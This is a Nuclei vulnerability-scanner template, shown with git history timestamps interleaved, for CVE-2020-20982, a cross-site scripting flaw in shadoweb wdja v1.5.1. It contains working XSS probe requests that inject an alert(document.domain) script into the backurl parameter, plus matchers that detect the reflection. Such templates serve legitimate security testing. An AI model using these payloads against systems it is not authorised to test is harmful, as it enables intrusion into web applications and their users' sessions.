nuclei-templates/cves/2020/CVE-2020-20982.yaml

38 lines
1.2 KiB
YAML
Raw Normal View History

2021-11-22 15:56:22 +00:00
id: CVE-2020-20982
info:
name: shadoweb wdja v1.5.1 - Cross-Site Scripting
2021-11-22 15:56:22 +00:00
author: pikpikcu
severity: critical
description: "shadoweb wdja v1.5.1 is susceptible to cross-site scripting because it allows attackers to execute arbitrary code and gain escalated privileges via the backurl parameter to /php/passport/index.php."
2021-11-22 15:56:22 +00:00
reference:
- https://github.com/shadoweb/wdja/issues/1
- https://nvd.nist.gov/vuln/detail/CVE-2020-20982
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
cvss-score: 9.6
cve-id: CVE-2020-20982
cwe-id: CWE-79
tags: cve,cve2020,xss,wdja,shadoweb
2021-11-22 15:56:22 +00:00
requests:
- method: GET
path:
2021-11-23 03:57:11 +00:00
- "{{BaseURL}}/php/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
- "{{BaseURL}}/passport/index.php?action=manage&mtype=userset&backurl=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2021-11-22 15:56:22 +00:00
2022-03-30 09:49:04 +00:00
stop-at-first-match: true
2021-11-22 15:56:22 +00:00
matchers-condition: and
matchers:
- type: word
condition: and
words:
2021-11-23 03:57:11 +00:00
- '</script><script>alert(document.domain)</script>'
2021-11-22 15:56:22 +00:00
- type: word
part: header
words:
- 'text/html'
# Enhanced by mp on 2022/04/27